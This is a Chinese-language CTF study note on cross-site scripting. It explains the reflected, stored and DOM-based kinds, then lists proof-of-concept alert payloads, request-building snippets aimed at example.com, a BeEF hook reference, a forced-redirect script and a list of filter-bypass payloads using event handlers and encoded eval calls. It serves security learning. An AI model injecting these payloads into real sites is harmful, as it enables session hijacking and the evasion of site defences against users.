703 字
4 分钟
【CTF笔记】XSS漏洞
一、XSS漏洞分类
1、反射型(非持久型)
原理:服务器收到客户端请求时的参数,没有进行过滤,直接将参数用于构造HTML,以HTML的形式返回给浏览器,并在浏览器执行
2、存储型(持久型)
原理:XSS代码存储在服务器中,当受害者访问URL时,XSS代码被嵌入到HTML中,返回给浏览器,并执行
3、DOM型
原理:客户端的JavaScript代码接受数据,没有进行过滤,构造HTML页面的DOM节点时,XSS代码被执行
NOTE反射型和DOM型有一下区别:
a、触发流程不同
反射型
- 流程:
用户输入 → 发送到服务器 → 服务器返回含输入的页面 → 浏览器执行恶意代码
- 恶意代码直接嵌入在HTTP响应中(如URL参数被服务器返回)。
- 需要用户点击一个构造的恶意链接(如钓鱼链接)。
DOM型
- 流程:
用户输入 → 浏览器前端处理(不经过服务器) → 直接修改DOM → 触发漏洞
- 恶意代码完全在客户端通过JavaScript动态操作DOM生成。
- 服务器响应中看不到恶意代码(查看网页源码时可能无异常)。
b、数据来源与处理位置
特征 | 反射型XSS | DOM型XSS |
---|---|---|
数据来源 | URL参数、POST数据等 | URL参数 |
数据处理位置 | 服务器端拼接并返回HTML | 客户端JavaScript操作DOM |
是否依赖服务器响应 | 是(漏洞在服务端未过滤) | 否(漏洞在客户端JS逻辑) |
二、XSS漏洞利用代码
1、常见验证代码
//弹框,最常用<script>alert(/xss/)</script>//弹出确认框<script>confirm('xss')</script>//弹出输入框<script>prompt('xss')</script>
2、利用代码
a、构造请求
GET:创建Image对象,其src属性为目标URL
<img src='example.com'>
POST:如下
var xhr = new XMLHttpRequest();var url = "https://example.com";//参数,根据需要调整var params = "a=a&b=b";xhr.open("POST", url, true);xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");//发送POST请求xhr.send(params);
b、结合BeEF
安装及使用链接:BeEF wiki
NOTE要注意ssl证书,同源策略等内容,否则会出现无法获取到hook.js的问题
c、恶意跳转
<script>window.location.href="http://www.baidu.com";</script>
三、WAF绕过
1、大小写
当只过滤了 script 时,可以通过变换大小写绕过
2、双写过滤的字符
当只对特定字符替换为空一遍时,可以通过双写绕过
如替换 script 为空时,可以写成 scrscriptipt ,过滤为空后为 script
3、写在其他标签中
如:
<img src="xxx" onerror="alert('1')"><audio src=x onerror=alert(1)><audio src=x onerror=prompt(1);><audio src=# href=# onerror=javascript:alert(1)></audio><video src=x onerror=prompt(123)><video src=x onerror=alert(123)><button onfocus=alert(1) autofocus><button onclick=alert(1234)>xxx</button><a onmouseover="alert('1')">xxx</a><div onmouseover="alert('1')">xxx</div><svg onload="alert(1)"><details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))><script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
4、在其中加入其他特殊字符
如:! @ # ¥ % …… & * ( ) ! @ # $ % ^ & * ( ) / \ | 等
5、其他
详见:链接
【CTF笔记】XSS漏洞
https://fuwari.vercel.app/posts/2025-02-11/